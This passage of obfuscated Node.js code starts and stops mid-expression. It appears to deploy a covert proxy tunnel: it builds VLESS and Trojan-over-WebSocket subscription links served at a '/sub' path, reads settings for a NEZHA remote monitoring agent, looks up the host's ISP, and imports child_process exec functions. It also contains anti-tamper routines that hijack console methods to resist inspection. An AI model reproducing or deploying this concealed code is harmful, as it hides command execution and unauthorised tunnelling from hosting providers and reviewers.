_0x4cb038(_0x223c2e-0x1b8,_0x223c2e,_0x4236bb-0x141,_0x5d2fe8-0xb3);}if(_0x41ac4f[_0x1e0b69(0x513,0x501,0x505,0x4d3)](_0x41ac4f[_0x4d1772(0xc,-0x46,-0x26,-0x8a)],_0x41ac4f[_0x4d1772(0x4f,0x73,0x124,0x139)])){if(_0x227b2a){if(_0x41ac4f[_0x4d1772(-0x97,-0xa3,-0xfc,0x28)](_0x41ac4f['cOhLJ'],_0x41ac4f[_0x4d1772(0x7b,-0x28,-0xdf,0x35)]))_0x41ac4f['YtKXA'](_0x523f81);else{const _0x57ce81=_0x227b2a[_0x1e0b69(0x32e,0x3ef,0x478,0x418)](_0x2205f2,arguments);return _0x227b2a=null,_0x57ce81;}}}else{const _0x3731e2=_0x5b04b5[_0x1e0b69(0x3bc,0x3ef,0x44f,0x3ca)](_0x3e0502,arguments);return _0x485b2d=null,_0x3731e2;}}:function(){};function _0x388057(_0x3ab2b5,_0x20da9b,_0x2385aa,_0x475c92){return _0x2de5(_0x3ab2b5- -0xc0,_0x2385aa);}return _0x3d12a7=![],_0x134d47;};}()),_0x234d68=_0x5a6852(this,function(){const _0x280210={};_0x280210[_0x5457cd(0x271,0x21f,0x26a,0x269)]=_0x1a5208(0x36a,0x3b0,0x3fa,0x2b5)+'+$';function _0x1a5208(_0x23bcdd,_0x4dfb6b,_0x8f2173,_0x164781){return _0x2de5(_0x23bcdd-0x202,_0x164781);}const _0x5e35d8=_0x280210;function _0x5457cd(_0x214d43,_0x2bc6e8,_0x3863a1,_0x24d227){return _0x2de5(_0x2bc6e8-0x3b,_0x24d227);}return _0x234d68[_0x5457cd(0x326,0x2cf,0x215,0x25f)]()[_0x5457cd(0x1cd,0x1af,0x14a,0x1bf)](_0x5e35d8['mRenN'])[_0x5457cd(0x337,0x2cf,0x2ad,0x279)]()[_0x1a5208(0x36c,0x322,0x2cf,0x2c8)+'r'](_0x234d68)[_0x1a5208(0x376,0x31c,0x439,0x2bf)]('(((.+)+)+)'+'+$');});_0x234d68();function _0x5438be(_0x2875a3,_0x4b6620,_0x1270c1,_0x35bf18){return _0x2de5(_0x1270c1- -0x336,_0x2875a3);}const _0x3bcc5a=(function(){let _0x459150=!![];return function(_0x2a694d,_0x1d3924){const _0x5c197c=_0x459150?function(){if(_0x1d3924){const _0x45045b=_0x1d3924['apply'](_0x2a694d,arguments);return _0x1d3924=null,_0x45045b;}}:function(){};return _0x459150=![],_0x5c197c;};}()),_0x15251c=_0x3bcc5a(this,function(){const _0x27183c={'SNWhs':function(_0x2e2473,_0x43e1bb,_0x1067d9){return _0x2e2473(_0x43e1bb,_0x1067d9);},'kaEtw':function(_0x4d57db,_0x23671b){return _0x4d57db(_0x23671b);},'stDxb':function(_0x238e0e,_0x361d67){return _0x238e0e+_0x361d67;},'ifMQD':'return\x20(fu'+'nction()\x20','cihbb':_0xb299c4(0x5f6,0x5b5,0x6c1,0x666)+_0xb299c4(0x589,0x586,0x589,0x646)+_0x9c9f31(-0x12c,-0x18f,-0x1bf,-0x25d)+'\x20)','jaPXv':function(_0x4250c8){return _0x4250c8();},'UIlYK':_0xb299c4(0x533,0x58d,0x4fc,0x5be),'NSzaM':_0xb299c4(0x57d,0x5e4,0x579,0x63a),'IQCJa':_0xb299c4(0x63f,0x5ae,0x6a0,0x6e7),'rkpqx':_0xb299c4(0x66d,0x731,0x70a,0x679),'smPpS':_0x9c9f31(-0x1c5,-0x1f8,-0x211,-0x16a),'TiunH':_0xb299c4(0x68e,0x5d8,0x612,0x5be),'CtSIS':_0xb299c4(0x6a5,0x766,0x6f6,0x769),'PTlpO':function(_0x324f81,_0xcc8929){return _0x324f81<_0xcc8929;},'YZfAx':function(_0x4d19ff,_0x122fa5){return _0x4d19ff!==_0x122fa5;},'hfpsz':_0x9c9f31(-0x176,-0xd0,-0x163,-0x177)};let _0x3c0086;try{const _0x1a9c12=_0x27183c[_0x9c9f31(-0x1d3,-0x135,-0x18b,-0xad)](Function,_0x27183c[_0xb299c4(0x527,0x4f3,0x588,0x53b)](_0x27183c[_0xb299c4(0x5bd,0x60e,0x545,0x515)]+_0x27183c['cihbb'],');'));_0x3c0086=_0x27183c['jaPXv'](_0x1a9c12);}catch(_0x2324c7){_0x27183c[_0xb299c4(0x5c4,0x5d2,0x63e,0x4f8)]!==_0x27183c[_0xb299c4(0x5c4,0x5d4,0x61b,0x527)]?this[_0xb299c4(0x65e,0x63e,0x6d2,0x6ae)](_0x2cb5af[_0xb299c4(0x645,0x5cb,0x6f2,0x578)](_0x1032b1)):_0x3c0086=window;}function _0xb299c4(_0xa3ca7c,_0x161f10,_0x28d0be,_0x31fd1a){return _0x2de5(_0xa3ca7c-0x3a7,_0x31fd1a);}const _0x513e91=_0x3c0086['console']=_0x3c0086[_0xb299c4(0x585,0x5d8,0x4ea,0x655)]||{};function _0x9c9f31(_0x5d2913,_0x9de3f7,_0x15fc8a,_0x362ac7){return _0x2de5(_0x9de3f7- -0x369,_0x15fc8a);}const _0x583344=[_0x27183c[_0xb299c4(0x575,0x518,0x5d4,0x521)],_0x27183c[_0x9c9f31(-0x100,-0x168,-0x1a4,-0x1a8)],_0x27183c['rkpqx'],_0x27183c[_0x9c9f31(-0x8b,-0x11e,-0x1bb,-0x1a5)],_0x27183c[_0xb299c4(0x55b,0x567,0x54d,0x55c)],'table',_0x27183c[_0x9c9f31(-0x20b,-0x1aa,-0x1b9,-0x1cc)]];for(let _0x2a1352=-0x1767+0x11df+0x588;_0x27183c[_0xb299c4(0x669,0x6f7,0x5f8,0x5f0)](_0x2a1352,_0x583344[_0x9c9f31(-0xa1,-0x73,-0xe6,-0x7e)]);_0x2a1352++){if(_0x27183c[_0xb299c4(0x666,0x628,0x5b3,0x708)]('rPREv',_0x27183c[_0xb299c4(0x526,0x5f3,0x58c,0x4ab)])){const _0x4880f7=_0x3bcc5a[_0xb299c4(0x511,0x5cf,0x486,0x58c)+'r']['prototype']['bind'](_0x3bcc5a),_0x371ea0=_0x583344[_0x2a1352],_0x41a82b=_0x513e91[_0x371ea0]||_0x4880f7;_0x4880f7[_0xb299c4(0x5d0,0x5cc,0x539,0x50e)]=_0x3bcc5a[_0xb299c4(0x570,0x5a8,0x607,0x4ec)](_0x3bcc5a),_0x4880f7[_0x9c9f31(-0xb6,-0xd5,-0xef,-0xad)]=_0x41a82b[_0x9c9f31(-0x116,-0xd5,-0xdc,-0x2b)][_0x9c9f31(-0x1cb,-0x1a0,-0x1ba,-0x1e9)](_0x41a82b),_0x513e91[_0x371ea0]=_0x4880f7;}else{const _0x53dc4d=_0x451dd1[_0xb299c4(0x645,0x5b6,0x682,0x712)](0x192f+-0x14e*-0x1+-0x46a*0x6,0x98f+0x19d5+-0x2353),_0xda2836=_0x53dc4d[_0xb299c4(0x60c,0x620,0x6db,0x6a6)]((_0x19a202,_0x46b161)=>_0x19a202==_0x386688(_0x32965e[_0x9c9f31(-0x196,-0xca,-0x145,-0x161)](_0x46b161*(0x2*0x709+-0x1b66+0xd56),-0x7dc+-0x1*0x2197+-0x2975*-0x1),-0x4*-0x487+0x5*-0x71b+0x5*0x37f));if(_0xda2836){!_0x27183c[_0x9c9f31(-0xf5,-0x101,-0x181,-0x8a)](_0x25b9a0,_0x408d3b,_0x129afd)&&_0x4abc12[_0x9c9f31(-0x13b,-0x15e,-0x154,-0xae)]();return;}}}});_0x15251c();const os=require('os'),http=require(_0x21134f(0xd2,-0x43,0x32,0x2f)),fs=require('fs'),axios=require(_0x5438be(-0x3f,-0x75,-0x86,-0xa9)),net=require(_0x21134f(-0x3,-0x1,-0x41,-0xb4)),path=require(_0x5438be(-0x14e,-0x200,-0x1a1,-0x1c7)),crypto=require(_0x21134f(-0x1df,-0xb9,-0x143,-0xab)),{Buffer}=require('buffer'),{exec,execSync}=require(_0x5438be(-0x1ac,-0x1b2,-0x118,-0xa8)+_0x5438be(-0x55,-0xbd,-0x87,0xf)),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x21134f(0x1a,0x20,0x4,0x22)]['UUID']||'5efabea4-f'+_0x5438be(-0x14a,-0x4d,-0x10f,-0x6f)+'8f0-17e004'+_0x5438be(-0x12e,-0x5d,-0x113,-0x171),NEZHA_SERVER=process['env'][_0x5438be(-0x1c9,-0xc9,-0x143,-0x16f)+'ER']||'',NEZHA_PORT=process['env'][_0x5438be(-0xb5,-0x14e,-0xb7,-0xb4)]||'',NEZHA_KEY=process[_0x21134f(0x7b,0xcb,0x4,-0x80)]['NEZHA_KEY']||'',DOMAIN=process['env'][_0x21134f(0xa,0x88,0x22,0xa4)]||_0x21134f(0x9f,-0x90,0x7,0xce)+'om',AUTO_ACCESS=process[_0x21134f(0xcd,0x99,0x4,0x8)][_0x21134f(0x88,0x74,-0x43,-0xf9)+'S']||!![],WSPATH=process['env'][_0x5438be(-0x107,-0xc2,-0x89,-0xa2)]||UUID[_0x5438be(-0xa4,-0x36,-0x98,-0x123)](0xe48+0x65+0x121*-0xd,-0xfb*0x3+-0xfc8+-0x12c1*-0x1);function _0x21134f(_0x2be13f,_0x4f4331,_0x19134f,_0x379495){return _0x2de5(_0x19134f- -0x2cd,_0x2be13f);}const SUB_PATH=process[_0x5438be(-0x8e,-0x47,-0x65,-0xc4)][_0x5438be(-0x135,-0x74,-0x100,-0x5a)]||'sub',NAME=process[_0x21134f(0x44,0x5d,0x4,0xcc)][_0x21134f(-0x13f,-0x1b2,-0x14c,-0xe9)]||_0x21134f(-0x162,-0x84,-0x12c,-0x1e7),PORT=process[_0x21134f(0x86,0x61,0x4,-0x42)][_0x21134f(-0x65,-0x112,-0x92,0x8)]||0x3395+0x2ad*-0xb+0x92*0xf;let ISP='';const GetISP=async()=>{const _0x5171ce={};_0x5171ce['aUeAN']='NEZHA\x20vari'+'able\x20is\x20em'+'pty,\x20skip\x20'+_0x2f104b(0x3f9,0x3c6,0x3d6,0x349),_0x5171ce[_0x2b6484(0x3fc,0x367,0x409,0x310)]=_0x2f104b(0x32b,0x461,0x3d9,0x41a);function _0x2b6484(_0x203a6d,_0x2b9040,_0x190b71,_0x43f74d){return _0x21134f(_0x43f74d,_0x2b9040-0x12,_0x2b9040-0x35e,_0x43f74d-0x59);}_0x5171ce[_0x2b6484(0x29b,0x31f,0x3dd,0x3d1)]=_0x2f104b(0x3f5,0x38c,0x393,0x2f7),_0x5171ce['OQnYb']='Unknown';const _0x20cc15=_0x5171ce;function _0x2f104b(_0x4ec15c,_0x3ea512,_0x3ff1d4,_0x3ec7d9){return _0x21134f(_0x4ec15c,_0x3ea512-0x0,_0x3ff1d4-0x400,_0x3ec7d9-0x1c6);}try{if(_0x20cc15[_0x2b6484(0x371,0x367,0x2f0,0x301)]===_0x20cc15['rpbhk']){_0x4833a8[_0x2b6484(0x2dd,0x267,0x1f6,0x258)](_0x20cc15[_0x2b6484(0x1ad,0x239,0x2b9,0x2b3)]);return;}else{const _0x23bd7d=await axios[_0x2f104b(0x27f,0x277,0x2be,0x341)](_0x2b6484(0x2dd,0x2e8,0x224,0x361)+'eed.cloudf'+_0x2f104b(0x236,0x26f,0x2a0,0x1ef)+'eta'),_0xd2467b=_0x23bd7d[_0x2b6484(0x3eb,0x33a,0x35f,0x2b1)];ISP=(_0xd2467b[_0x2b6484(0x2a2,0x241,0x1a8,0x22e)]+'-'+_0xd2467b[_0x2b6484(0x290,0x238,0x295,0x300)+_0x2b6484(0x3c2,0x38d,0x302,0x417)])[_0x2b6484(0x1ee,0x283,0x32c,0x32c)](/ /g,'_');}}catch(_0x558e8f){ISP=_0x20cc15[_0x2b6484(0x2b9,0x37e,0x2b4,0x2f9)];}};GetISP();const httpServer=http[_0x21134f(-0xad,-0x99,-0x2,-0xae)+'er']((_0x5d8d5c,_0x49ee3c)=>{function _0x56305a(_0x28e131,_0x187577,_0x2cb385,_0x3098ba){return _0x5438be(_0x187577,_0x187577-0x35,_0x3098ba-0x15b,_0x3098ba-0x9c);}function _0x4eb565(_0x4eeabf,_0x2633ba,_0x3a8447,_0x53b3db){return _0x21134f(_0x53b3db,_0x2633ba-0x91,_0x4eeabf-0x274,_0x53b3db-0x3b);}const _0x54d655={'CDDHl':function(_0x51e702){return _0x51e702();},'XruRr':function(_0x48f2fe,_0x154650,_0x1cf4ae){return _0x48f2fe(_0x154650,_0x1cf4ae);},'SoAPG':function(_0x249eba,_0x425f03){return _0x249eba(_0x425f03);},'eYYFK':function(_0x1ce3b6,_0x2b05ee){return _0x1ce3b6+_0x2b05ee;},'GAuJG':'log','GNqJM':_0x56305a(0xf5,0xdf,0x43,0xeb),'orsbe':_0x56305a(0x165,0x72,0x94,0x10c),'HeKgl':function(_0x3d422b,_0xe5145d){return _0x3d422b<_0xe5145d;},'WtFWQ':function(_0x10645a,_0x515ab0){return _0x10645a!==_0x515ab0;},'RhliV':_0x56305a(-0x75,-0x9f,0x5d,0x0),'gHelB':_0x4eb565(0x1fa,0x2c0,0x187,0x141),'BjHlv':_0x56305a(0xee,0x35,0x4a,0x33),'RKOSt':function(_0x15b2f8,_0x403e37){return _0x15b2f8!==_0x403e37;},'ArTlw':_0x4eb565(0x156,0x1da,0x211,0x1a1),'bHaNS':_0x56305a(0xe2,0x14d,0x13a,0xf7),'WTjlQ':_0x4eb565(0x179,0x22f,0xfc,0x12c),'skYji':'utf8','JOAvV':function(_0x2f9cb7,_0x5585bb){return _0x2f9cb7===_0x5585bb;},'wEwdu':'base64','TtsOA':_0x56305a(0xfc,0x9a,0x1e6,0x120)};if(_0x5d8d5c[_0x4eb565(0x17e,0x217,0xde,0x212)]==='/'){if(_0x54d655[_0x4eb565(0x1e3,0x1bb,0x230,0x2a1)](_0x54d655[_0x56305a(-0x5c,-0x28,0x2f,-0x56)],_0x54d655[_0x56305a(-0x3,-0x3c,0x4,0x41)])){const _0x2acb8e=path[_0x4eb565(0x19b,0x229,0x1ae,0x195)](__dirname,_0x54d655[_0x56305a(0xaa,0xbc,0x17b,0xad)]);fs[_0x4eb565(0x193,0x1d8,0xf9,0x21f)](_0x2acb8e,_0x54d655['skYji'],(_0x3fee75,_0x312420)=>{function _0x3b108a(_0x4c2f96,_0x4a7834,_0x49c55e,_0x1eda8e){return _0x4eb565(_0x4a7834- -0x230,_0x4a7834-0x15,_0x49c55e-0x17f,_0x1eda8e);}const _0x5ddaab={'FXibX':function(_0x31096f){function _0x2bd0ea(_0x267d26,_0x55011c,_0x7763c7,_0x4a3e2f){return _0x2de5(_0x4a3e2f- -0x284,_0x55011c);}return _0x54d655[_0x2bd0ea(-0x94,0x20,-0x15d,-0xb1)](_0x31096f);},'uGWkK':function(_0x20d972,_0x5f079c,_0x420219){function _0x4d91a4(_0x59bf78,_0x2914f4,_0x4f9d69,_0x3dd601){return _0x2de5(_0x59bf78- -0x84,_0x2914f4);}return _0x54d655[_0x4d91a4(0x19d,0x267,0x237,0x19b)](_0x20d972,_0x5f079c,_0x420219);},'wKsnY':function(_0x190d32,_0x174fdf){function _0x116155(_0xa25d66,_0xffb2a4,_0x47d039,_0x43b574){return _0x2de5(_0xffb2a4-0x3c3,_0x47d039);}return _0x54d655[_0x116155(0x691,0x64c,0x608,0x704)](_0x190d32,_0x174fdf);},'SzUmp':function(_0x4ed398,_0x59ab8a){function _0x28e507(_0x500ca3,_0x4c13c9,_0x295e93,_0x5c39f7){return _0x2de5(_0x295e93-0xdd,_0x500ca3);}return _0x54d655[_0x28e507(0x23f,0x217,0x28f,0x348)](_0x4ed398,_0x59ab8a);},'mAthh':_0x3b108a(-0x1,-0xa2,-0xe2,-0x167)+_0x3680d9(0x2fa,0x3c3,0x3a7,0x3ad),'EuIWM':_0x54d655[_0x3680d9(0x246,0x369,0x307,0x361)],'vkKSd':_0x54d655[_0x3b108a(-0x17,0x2,0xcc,-0xc9)],'pWdde':_0x3680d9(0x382,0x2a8,0x2e8,0x365),'MKqgO':_0x54d655['orsbe'],'lTfHE':'table','xgvhI':function(_0x55fbf8,_0x39ff86){function _0x59c0d1(_0x54f1d2,_0x3fdf13,_0x2250f3,_0x345176){return _0x3680d9(_0x54f1d2,_0x3fdf13-0x1aa,_0x345176- -0x3ef,_0x345176-0x13e);}return _0x54d655[_0x59c0d1(0x2f,-0x128,-0xb2,-0x65)](_0x55fbf8,_0x39ff86);}};function _0x3680d9(_0x55299f,_0x6a9af6,_0xb85810,_0x466f75){return _0x56305a(_0x55299f-0x2d,_0x55299f,_0xb85810-0x30,_0xb85810-0x352);}if(_0x54d655[_0x3680d9(0x2ba,0x264,0x30b,0x2f9)](_0x54d655[_0x3b108a(0x10,0x63,0xae,0x1f)],_0x54d655[_0x3b108a(-0x6d,0x63,0x12b,0x18)])){const _0x45d76e={'EIXmS':function(_0x8047d4){return _0x5ddaab['FXibX'](_0x8047d4);}};_0x5ddaab[_0x3b108a(0xb,0x8,0x8a,0x36)](_0x205890),_0x5ddaab[_0x3b108a(-0x80,-0x10e,-0x48,-0x139)](_0x2123ec,()=>{function _0x74e2f7(_0x390c19,_0x2c0b46,_0x7ab64f,_0x35a6f3){return _0x3680d9(_0x390c19,_0x2c0b46-0x145,_0x2c0b46- -0x313,_0x35a6f3-0x149);}_0x45d76e[_0x74e2f7(0xef,0x4e,0xe2,0xff)](_0x3d89a7);},0x2*-0x272b9+-0x173*-0xde+-0x51be*-0x14),_0x5ddaab['FXibX'](_0x472e42),_0x243e3b['log'](_0x3680d9(0x45c,0x30a,0x39f,0x3b9)+_0x3680d9(0x390,0x3d9,0x3a6,0x3c2)+_0x3b108a(0x64,0x47,0x117,0x9e)+_0x14e4b7);}else{if(_0x3fee75){if(_0x54d655[_0x3b108a(-0x128,-0xf5,-0xf3,-0x19f)](_0x54d655[_0x3680d9(0x304,0x3f5,0x331,0x2e7)],_0x54d655[_0x3b108a(-0x1a,-0xcf,-0x7f,-0x76)])){let _0x21f800;try{const _0x525feb=twwWYf['wKsnY'](_0x31dd5f,twwWYf['SzUmp'](twwWYf['SzUmp'](twwWYf[_0x3b108a(0x12,-0x4b,0x4b,0x18)],'{}.constru'+'ctor(\x22retu'+_0x3b108a(-0x60,-0xaf,-0x21,-0x134)+'\x20)'),');'));_0x21f800=twwWYf[_0x3b108a(-0xa7,0x8,-0x5a,-0x73)](_0x525feb);}catch(_0x179ea3){_0x21f800=_0x57e1d2;}const _0x25c518=_0x21f800[_0x3b108a(-0x146,-0xab,-0xf0,-0x83)]=_0x21f800[_0x3680d9(0x3ff,0x3d6,0x355,0x37b)]||{},_0x15a8ae=[twwWYf[_0x3680d9(0x374,0x40b,0x40c,0x425)],_0x3680d9(0x499,0x41c,0x40f,0x38a),twwWYf[_0x3b108a(-0x9a,-0x9b,-0x100,-0xae)],twwWYf['pWdde'],twwWYf[_0x3680d9(0x432,0x362,0x360,0x36f)],twwWYf['lTfHE'],_0x3b108a(-0x16,0x75,-0xa,0x1a)];for(let _0x1b5568=-0xc29+-0x22ff+0xbca*0x4;twwWYf[_0x3680d9(0x28a,0x2d8,0x30d,0x260)](_0x1b5568,_0x15a8ae[_0x3b108a(-0x6,0x6d,0x5f,-0x32)]);_0x1b5568++){const _0x15f860=_0x25b63b[_0x3b108a(-0x96,-0x11f,-0x7a,-0x150)+'r'][_0x3b108a(-0x1a,-0x19,0xb3,-0xa9)][_0x3680d9(0x335,0x324,0x340,0x3e2)](_0x57d33b),_0x368368=_0x15a8ae[_0x1b5568],_0x4c7353=_0x25c518[_0x368368]||_0x15f860;_0x15f860['__proto__']=_0x1b0b20['bind'](_0xb188a7),_0x15f860[_0x3680d9(0x46f,0x34f,0x40b,0x4c1)]=_0x4c7353[_0x3680d9(0x3c4,0x399,0x40b,0x41f)]['bind'](_0x4c7353),_0x25c518[_0x368368]=_0x15f860;}}else{const _0x70d267={};_0x70d267[_0x3680d9(0x251,0x337,0x306,0x3a4)+'pe']=_0x3b108a(0x38,-0x7b,-0xff,-0x29),_0x49ee3c['writeHead'](0x168+0x2435+-0x1c1*0x15,_0x70d267),_0x49ee3c[_0x3b108a(-0xdc,-0xcc,-0x11f,-0x2b)](_0x3b108a(-0xb9,-0x7,-0x54,0xa4)+'d!');return;}}const _0x2328ff={};_0x2328ff[_0x3b108a(-0x75,-0xfa,-0x7e,-0x14c)+'pe']=_0x54d655[_0x3680d9(0x31a,0x2ec,0x34b,0x367)],_0x49ee3c['writeHead'](-0x1e10+0x3*-0x349+0x45*0x97,_0x2328ff),_0x49ee3c[_0x3b108a(-0xca,-0xcc,-0x5b,-0xb7)](_0x312420);}});return;}else{const _0x2a82f3=_0x154527[_0x56305a(-0xce,-0x88,-0xf6,-0x71)+'r'][_0x56305a(0x38,0x3,0x34,0x95)]['bind'](_0x30058e),_0x24337c=_0x15b37d[_0x3c5a7f],_0x1b25d4=_0x2fc8b2[_0x24337c]||_0x2a82f3;_0x2a82f3[_0x56305a(0x99,0x7a,0x75,0x4e)]=_0x2b2845['bind'](_0x1a3b1d),_0x2a82f3['toString']=_0x1b25d4[_0x4eb565(0x23b,0x26a,0x1ba,0x1ef)]['bind'](_0x1b25d4),_0x3c0204[_0x24337c]=_0x2a82f3;}}else{if(_0x54d655[_0x56305a(0x102,0x76,0x1af,0x122)](_0x5d8d5c[_0x56305a(-0x24,0x7b,0x68,-0x4)],'/'+SUB_PATH)){const _0x22c8fa='vless://'+UUID+'@'+DOMAIN+(_0x4eb565(0x1f3,0x2b2,0x27e,0x278)+_0x56305a(-0x28,-0xa8,0x30,-0x26)+_0x56305a(-0x22,0x16,-0x19,0x8)+_0x56305a(0x6d,-0x112,-0x12a,-0x64))+DOMAIN+(_0x4eb565(0x1b9,0x1fb,0x23e,0x135)+'&type=ws&h'+'ost=')+DOMAIN+_0x4eb565(0x147,0x140,0x198,0x203)+WSPATH+'#'+NAME+'-'+ISP,_0x259990='trojan://'+UUID+'@'+DOMAIN+(':443?secur'+_0x4eb565(0x16c,0xc4,0xa5,0x1c6)+'i=')+DOMAIN+('&fp=chrome'+_0x4eb565(0x1b3,0x26b,0x284,0x243)+_0x56305a(0xdf,0x17b,0xeb,0x10b))+DOMAIN+'&path=%2F'+WSPATH+'#'+NAME+'-'+ISP,_0x105230=_0x54d655['eYYFK'](_0x54d655[_0x56305a(-0x83,-0xc,0x78,-0x29)](_0x22c8fa,'\x0a'),_0x259990),_0x26fcc4=Buffer[_0x56305a(0x41,-0xa5,0xb8,-0x13)](_0x105230)[_0x4eb565(0x23b,0x1a2,0x25b,0x1ca)](_0x54d655[_0x4eb565(0x198,0x10f,0x246,0x256)]),_0x23314f={};_0x23314f['Content-Ty'+'pe']=_0x54d655[_0x56305a(0x39,-0x88,-0x17,-0x62)],_0x49ee3c[_0x56305a(-0x31,-0x2a,0x8a,-0x3f)](0x8ac*0x2+0x367*-0x3+-0x65b*0x1,_0x23314f),_0x49ee3c[_0x4eb565(0x164,0x1c4,0xc3,0xca)](_0x54d655[_0x56305a(-0x8c,-0x90,-0xa1,-0x29)](_0x26fcc4,'\x0a'));}else{const _0x39cda0={};_0x39cda0[_0x4eb565(0x136,0xaa,0x111,0x160)+'pe']=_0x4eb565(0x2a2,0x2b5,0x32c,0x2cc),_0x49ee3c['writeHead'](0xfca*-0x2+0xc03+0x1525,_0x39cda0),_0x49ee3c[_0x56305a(0xc,-0xa7,-0x69,-0x1e)]('Not\x20Found\x0a');}}}),_0x47b56d={};_0x47b56d[_0x21134f(-0x33,-0x59,0x34,0xfe)]=httpServer;function _0x2709(){const _0x538cf4=['zxaIihWGz3jLCa','Ahr0Chm6lY9HCG','tg9fq3O','Afnrzw8','y29Uy2f0','svfdsMe','zMLUAxnO','Ahr0Chm6lY8','ChPzz3y','y29UBMvJDa','y291BNq6ihrYDq','BMLUzW','vvHLwu0','BNbTigLZihj1BG','ufrMEeO','y2XVC2u','jNr5Cgu9D3mMAa','sM1NB3y','Dgv4Dc9ODg1S','zdy0lNnZC3mUBG','Cvzlz1y','vKruu2e','jMzWpwnOCM9Tzq','sgvlz2W','y3jLyxrLsgfZAa','vLHUseu','Awznuuq','Ahr0Chm6lY9KBG','y09OteO','Cg9YDa','CMLYEKK','yxreAva','yKHHtLm','vuLSwuS','y2HPBgrFChjVyW','u2vYDMvY','DvngweC','whj1uNi','mJa4mW','yZG5yZyW','Aw5JBhvKzxm','Dc1KzwXHEsa0ia','zw1TzfK','nMq0ltKXzMqTyG','u2vYDMvYigLZia','x19WCM90B19F','sLvWywO','reHLEKG','v1jPzwS','quLQrLq','ndqZ','CNvUBMLUzYbVBG','BMn0Aw9UkcKG','wvz2EK8','z1Ddt2O','x3rVx3vWz3jHza','A2ffDhC','DgHLBG','u1vcx1bbveG','D2vgCfC','B28UC2vYDJaWlG','ic0TzgLZywjSzq','wgvNwuq','ue9sva','uKTpu3q','odiXndnPsM5WC1m','Buf0AgG','DLv1EK4','Cg9ZDa','otm4otq5q3PUww5o','tLfktgO','sNzvuwW','wgfhELi','C3rYzwfT','mtK4nZq2mJb0uffhzKy','yxjT','ndmWnteYnNnKsKjdqG','CMvKDwnL','ywjSzsbPCYbLBq','C21qCfm','oJq0mZ9LBMnYEq','ihDPDgGGywXSia','s3bxu0u','E30Uy29UC3rYDq','cMrPC2fIBgvFzG','yvrpwKm','zvbdCMS','q2rwqKi','BwfW','Bty0lNnZC3mUBG','mZy4mZe2uuvcvKXm','Ahr0Chm6lY9ZCa','sMf6sKC','qxzLCfu','zMvOqLu','v2zeExa','cNnRAxbFy29UBG','v1LLz1q','DhLWzq','B2zrteW','A1H6yu4','EfDrC1O','BMCSihnRAxaGCG','DgPXrxO','sunTEu0','zxzLCNK','zvn0CMvHBq','B29TAwm','u05xAhm','t0fxEg8','C2vUza','Bw1HBMrFzxHLyW','y2XPzw50x3nLyW','Cg1cEKq','C2fIBgvFBMf0oG','tNHvy0G','ChjVDg90ExbL','ywjSzv9Zzw5KxW','B25Jzq','wunIsfy','C2ukz3b1oIbMyq','mJa1mW','y2HUy2u','CMvHzfvjBNqXnG','BNbTihj1BM5PBG','BhnLcMrPC2fIBa','C25NtvO','yxnYvwC','t1Hzyxu','DxrLoIbMywXZzq','DhjPBq','tKvAsefFue9sva','Ahr0Chm6lY9HBq','zKnbCgG','sgvSBg8GD29YBa','CxvLCNK6igzHBa','B1LkAe0','ztOGzMfSC2ukDq','u2nsrhy','zw5JB2rPBMC','v1rQBfe','u29bueC','qvvut19bq0nfuW','r05XsK0','BMv0','yxrLoIb0CNvLcG','CNbIAgS','zunUtfe','odq0mW','rLHPyLG','naPZzxj2zxi6ia','mtyXmdq4zMrhAMPf','Dg9tDhjPBMC','rxvjv00','vNzIu2e','shDpseG','D2fYBG','s050svG','zufxu2y','q1rOB0K','DwukAxbFCMvWBW','A3zxDLi','C2XPy2u','C3vIC3rY','Dhvpy3K','mJqXode4nxjzA01kta','Ae9uvLq','CNvUBMLUzW','ChmGyxv4ihWGzW','BMv0l2fKzc11CG','uuzyswy','EhvMqKS','BwvZC2fNzq','zgf0yq','EwmUBw4VywDLBG','qw5ZD2vY','qwnJzxb0','v1nqqvri','ywqGC3vJy2vZCW','zxnZ','yxHPB3m','sgHxAuO','yxbWBgLJyxrPBW','s1r5Evu','CY5NB29NBguVCG','A3DAv2O','zxnVBhzLp25HBq','D3jPDgu','EwmUBw4VDJe','y0jtzwK','EvPOD04','vwXhtfO','C3bSAxq','lwf1Dg8TDxbKyq','re5tihnLCNzLCG','wvPMqxG','ls1ZA2LWlwnVBG','vM9Utgq','ufrSCe8','BgTdBNm','ruXdtfG','DgvZDa','Aw5MBW','CNzeru8','AYbHzgrLzcbZDq','tM1juwW','Dhj1zq','y3jLyxrLu2vYDG','ohfYweDwDW','BNq6ihrYDwukCW','CLnzs1y','AuXhywK','ihbVCNqG','zw52','swD2sgm','C2v0C2LKig5VAa','mtiZnc5HyMmUyW','BIaTlxnRAxaTCa','tMDxzNe','CgLWzq','vu5Pzu0','ls10Bhm','BNbT','yMntteq','tKvAseeGDMfYAq','Ew5J','tfztBxe','ztOGDhj1zqPKAq','iciUl1TUxxbTiG','DgnlD0i','CMvFDgXZoIb0CG','v2v4r0u','BwPsDuS','C2vFAxb2nL9JBW','B3n0pq','zxHJzxb0Aw9U','yvrmvMS','cNrSCZOG','CMvZB2X2zsa','mtzWwLPvsgy','uMHSAvy','t1fUwwi','BI9QC29U','re9nquLo','ic1Wia','r0T4BLi','D3jPDgvgAwXLuW','oIbMywXZzqP1Dq','s0TPrM8','Bg9jt04','BgvUz3rO','zhz2yMK','CMvWic12icjNCG','yw5NDNG','zMLUza','Dgv4Dc9WBgfPBG','DgLVBG','sK9bDLy','DhjHy2u','Ahr0Ca','uM1ktvK','C2vYDMvY','uujkufu','uNzyueu','rMfPBgvKihrVia','BePyzuW','u0vcD3u','BNbTigLZigfSCG','nJmYCNDeu2nP','qKjVru8','yxjJAa','kcGOlISPkYKRkq','u1DkDNa','y29UC3rYDwn0BW','tND2zxa','Cg9W','BgfYzs5JB20VBq','qLLYDwu','BNvSBcaYpIyXia','v3PLz2i','zxjYB3i','Ag1qAvm','uuP2swO','C2vHCMnO','CNrFCgvYAw9KoG','qxv0B21HDgLJia','DgXZjNnUAt0','vMfnA2G','vhrZt0e','zxjYB3i6ia','DuDxA0S','BfDsDfa','Duv2EKq','zYbLCNjVCJO','AgzWC3O','C3reEgi','tKfnrq','q3njD3i','l2jPBI9IyxnO','wKXurvG','qxjuBhC','wMH5wwq','DguGls1YzxbVCG','cMrLyNvNoIbMyq','Ahr0Chm6lY9VBW','y3j5ChrV','z2v0','zgrbwxG','CNrFzgvSyxK6ia','shLOu3G','q29UDgvUDc1uEq','r0f1sKC','A0nMqMG','DxjYDfC','CM9JCYa+l2rLDG','v3rgv1e','Cgf0Aa','EgD2AeK','yYbJB25MAwCUEq','Ag